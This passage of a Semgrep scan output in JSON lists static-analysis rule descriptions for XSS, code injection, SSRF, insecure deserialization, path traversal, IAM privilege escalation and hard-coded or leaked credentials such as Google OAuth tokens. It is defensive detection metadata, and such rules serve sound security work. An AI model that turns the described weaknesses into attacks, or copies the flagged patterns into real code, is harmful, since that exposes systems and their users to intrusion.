instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag","id":"go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag","name":"go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found data going from url query parameters into formatted data written to ResponseWriter. This could be XSS and should not be done. If you must do this, ensure your data is sanitized or escaped."},"help":{"markdown":"Found data going from url query parameters into formatted data written to ResponseWriter. This could be XSS and should not be done. If you must do this, ensure your data is sanitized or escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found data going from url query parameters into formatted data written to ResponseWriter. This could be XSS and should not be done. If you must do this, ensure your data is sanitized or escaped."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf","id":"go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf","name":"go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlretrieve()' using 'ftp://'. This request will not be encrypted. Use SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"help":{"markdown":"Detected 'urllib.urlretrieve()' using 'ftp://'. This request will not be encrypted. Use SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve)\n","text":"Detected 'urllib.urlretrieve()' using 'ftp://'. This request will not be encrypted. Use SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Calling mb_ereg_replace with user input in the options can lead to arbitrary code execution. The eval modifier (`e`) evaluates the replacement argument as code."},"help":{"markdown":"Calling mb_ereg_replace with user input in the options can lead to arbitrary code execution. The eval modifier (`e`) evaluates the replacement argument as code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval)\n - [https://www.php.net/manual/en/function.mb-ereg-replace.php](https://www.php.net/manual/en/function.mb-ereg-replace.php)\n - [https://www.php.net/manual/en/function.mb-regex-set-options.php](https://www.php.net/manual/en/function.mb-regex-set-options.php)\n","text":"Calling mb_ereg_replace with user input in the options can lead to arbitrary code execution. The eval modifier (`e`) evaluates the replacement argument as code."},"helpUri":"https://semgrep.dev/r/php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval","id":"php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval","name":"php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that IAM policies with permissions on other users don't allow for privilege escalation. This can lead to an attacker gaining full administrator access of AWS accounts. Instead, specify which user the permission should be used on or do not use the listed actions. $RESOURCE"},"help":{"markdown":"Ensure that IAM policies with permissions on other users don't allow for privilege escalation. This can lead to an attacker gaining full administrator access of AWS accounts. Instead, specify which user the permission should be used on or do not use the listed actions. $RESOURCE\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/](https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPrivilegeEscalation.py)\n","text":"Ensure that IAM policies with permissions on other users don't allow for privilege escalation. This can lead to an attacker gaining full administrator access of AWS accounts. Instead, specify which user the permission should be used on or do not use the listed actions. $RESOURCE"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users","id":"terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users","name":"terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Google OAuth Access Token detected"},"help":{"markdown":"Google OAuth Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Google OAuth Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token","id":"generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token","name":"generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint.compile-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint.compile-taint","id":"csharp.dotnet-core.code-injection.compile-taint.compile-taint","name":"csharp.dotnet-core.code-injection.compile-taint.compile-taint","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.code-injection.compile-taint.compile-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","id":"java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","name":"java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Unsafe functions do not perform boundary checks or have other side effects, use with care."},"help":{"markdown":"Unsafe functions do not perform boundary checks or have other side effects, use with care.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.security.unsafe.ocamllint-unsafe)\n - [https://v2.ocaml.org/api/Bigarray.Array1.html#VALunsafe_get](https://v2.ocaml.org/api/Bigarray.Array1.html#VALunsafe_get)\n - [https://v2.ocaml.org/api/Bytes.html#VALunsafe_to_string](https://v2.ocaml.org/api/Bytes.html#VALunsafe_to_string)\n","text":"Unsafe functions do not perform boundary checks or have other side effects, use with care."},"helpUri":"https://semgrep.dev/r/ocaml.lang.security.unsafe.ocamllint-unsafe","id":"ocaml.lang.security.unsafe.ocamllint-unsafe","name":"ocaml.lang.security.unsafe.ocamllint-unsafe","properties":{"precision":"very-high","tags":["CWE-242: Use of Inherently Dangerous Function (4.12)","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.security.unsafe.ocamllint-unsafe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items with the synchronization type `kSecAttrSynchronizableAny` meaning that the data will be synced to all of the users other authenticated iOS, iPadOS, and MacOS devices. Unless necessary, the application should avoid over-distribution of sensitive data, as this increases the attack surface for which an attacker may gain access to the data. "},"help":{"markdown":"The application was observed to store keychain items with the synchronization type `kSecAttrSynchronizableAny` meaning that the data will be synced to all of the users other authenticated iOS, iPadOS, and MacOS devices. Unless necessary, the application should avoid over-distribution of sensitive data, as this increases the attack surface for which an attacker may gain access to the data. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.keychain-sync.keychain-device-sync)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to store keychain items with the synchronization type `kSecAttrSynchronizableAny` meaning that the data will be synced to all of the users other authenticated iOS, iPadOS, and MacOS devices. Unless necessary, the application should avoid over-distribution of sensitive data, as this increases the attack surface for which an attacker may gain access to the data. "},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.keychain-sync.keychain-device-sync","id":"swift.biometrics-and-auth.keychain-sync.keychain-device-sync","name":"swift.biometrics-and-auth.keychain-sync.keychain-device-sync","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.keychain-sync.keychain-device-sync"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from hostpath to prevent this."},"help":{"markdown":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from hostpath to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath)\n - [https://kubernetes.io/docs/concepts/storage/volumes/#hostpath](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#volumes-and-file-systems](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#volumes-and-file-systems)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers)\n","text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from hostpath to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath","id":"yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath","name":"yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, AWS SecretManager secrets are encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your secrets in the Secret Manager. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, AWS SecretManager secrets are encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your secrets in the Secret Manager. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"By default, AWS SecretManager secrets are encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your secrets in the Secret Manager. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted","id":"terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted","name":"terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-ruamel.tainted-ruamel)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-ruamel.tainted-ruamel","id":"python.lang.deserialization.tainted-ruamel.tainted-ruamel","name":"python.lang.deserialization.tainted-ruamel.tainted-ruamel","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-ruamel.tainted-ruamel"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls","id":"java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls","name":"java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint","id":"go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint","name":"go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded variable `ENV` detected. Set this by using FLASK_ENV environment variable"},"help":{"markdown":"Hardcoded variable `ENV` detected. Set this by using FLASK_ENV environment variable\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `ENV` detected. Set this by using FLASK_ENV environment variable"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml)\n - [https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml","id":"typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml","name":"typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not 